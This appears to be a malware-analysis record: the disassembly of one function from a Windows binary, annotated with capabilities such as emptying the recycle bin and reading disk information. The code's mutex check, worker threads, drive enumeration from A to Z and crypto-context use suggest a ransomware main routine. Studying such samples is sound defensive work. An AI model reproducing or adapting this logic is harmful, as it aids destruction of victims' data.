Function at 0x409c20
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
call fcn.0040ee40
call fcn.00411de0
call fcn.00403a70
mov dword [0x413260], eax
cmp dword [0x413260], 0
je 0x40a19d
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x3c], eax
push 0x402c24
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x409c94
push 0x402c44
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x58], eax
jmp 0x409c9c
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetProcessShutdownParameters]
push 0x402c64
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403c10
add esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x409ceb
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x413130], edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.00403db0
add esp, 4
mov dword [0x41325c], 1
call fcn.00403760
call fcn.004039a0
call fcn.004036c0
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea ecx, [ebp - 0x90]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
shl eax, 2
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
shr ecx, 1
mov dword [ebp - 4], ecx
imul edx, dword [ebp - 0x5c], 6
push edx
push 0x4131fc
call fcn.00411eb0
add esp, 8
imul eax, dword [ebp - 4], 3
push eax
push 0x41322c
call fcn.00411eb0
add esp, 8
push 0x402c70
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403c10
add esp, 0xc
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x60], 0
mov eax, dword [ebp - 4]
shl eax, 2
push eax
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x18], 0
je 0x40a180
cmp dword [ebp - 0x1c], 0
je 0x40a180
mov edx, dword [ebp - 4]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call fcn.00411df0
add esp, 0xc
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
push 0
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00411df0
add esp, 0xc
mov dword [ebp - 0x20], 0
jmp 0x409de1
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 4]
jae 0x409e27
push 0
push 0
push 1
push 0x409840
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
push 0
push 0
push 0
push 0x409840
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4], eax
jmp 0x409dd8
push 0x402c78
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00403c10
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409efc
mov dword [ebp - 0x28], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x24], 0
jmp 0x409e6f
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x68]
jge 0x409e9d
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x409e9b
xor ecx, ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
jmp 0x409e66
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov eax, dword [ebp - 0x48]
push eax
call fcn.00409a00
add esp, 4
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00411e90
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
jne 0x409e9d
push 0x402c88
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403c10
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40a012
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x30], 0
jmp 0x409f44
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x6c]
jge 0x409f72
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
movzx edx, word [ecx + eax*2]
cmp edx, 0x2c
jne 0x409f70
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x10]
mov word [edx + ecx*2], ax
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
jmp 0x409f3b
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea edx, [eax + eax + 2]
push edx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 2
jne 0x409fd7
mov eax, 2
shl eax, 0
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax]
cmp edx, 0x3a
jne 0x409fd7
mov eax, 2
imul ecx, eax, 0
mov edx, dword [ebp - 0x14]
movzx eax, word [edx + ecx]
push eax
call fcn.00409b30
add esp, 4
jmp 0x409fe3
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00409690
add esp, 4
mov edx, dword [ebp - 0x14]
push edx
call fcn.00411e90
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ecx, dword [ebp - 0x10]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
jne 0x409f72
push 0x402c94
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x40a031
mov edx, dword [ebp - 0x60]
push edx
call fcn.00409930
add esp, 4
call fcn.004034c0
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40a084
mov eax, 0x41
mov word [ebp - 8], ax
jmp 0x40a05c
mov cx, word [ebp - 8]
add cx, 1
mov word [ebp - 8], cx
movzx edx, word [ebp - 8]
cmp edx, 0x5a
jg 0x40a084
mov eax, dword [ebp - 0x40]
and eax, 1
je 0x40a07a
movzx ecx, word [ebp - 8]
push ecx
call fcn.00409b30
add esp, 4
mov edx, dword [ebp - 0x40]
shr edx, 1
mov dword [ebp - 0x40], edx
jmp 0x40a050
push 0x402ca4
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x40a09d
cmp dword [ebp - 0x4c], 0
jne 0x40a0a9
mov ecx, dword [ebp - 0x60]
push ecx
call fcn.00409930
add esp, 4
mov dword [ebp - 0x50], 0
jmp 0x40a0bb
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jae 0x40a0d6
push 1
push 0
push 0x41322c
call fcn.00411fd0
add esp, 0xc
jmp 0x40a0b2
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov dword [ebp - 0x54], 0
jmp 0x40a0fa
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 4]
jae 0x40a115
push 1
push 0
push 0x4131fc
call fcn.00411fd0
add esp, 0xc
jmp 0x40a0f1
push 0xffffffffffffffff
push 1
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
call fcn.004036c0
mov dword [ebp - 0x38], 0
jmp 0x40a13e
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 4]
jae 0x40a168
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40a135
mov eax, dword [ebp - 0x18]
push eax
call fcn.00411e90
add esp, 4
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00411e90
add esp, 4
cmp dword [0x41325c], 0
je 0x40a18e
call fcn.00403df0
push 0
mov edx, dword [0x413260]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]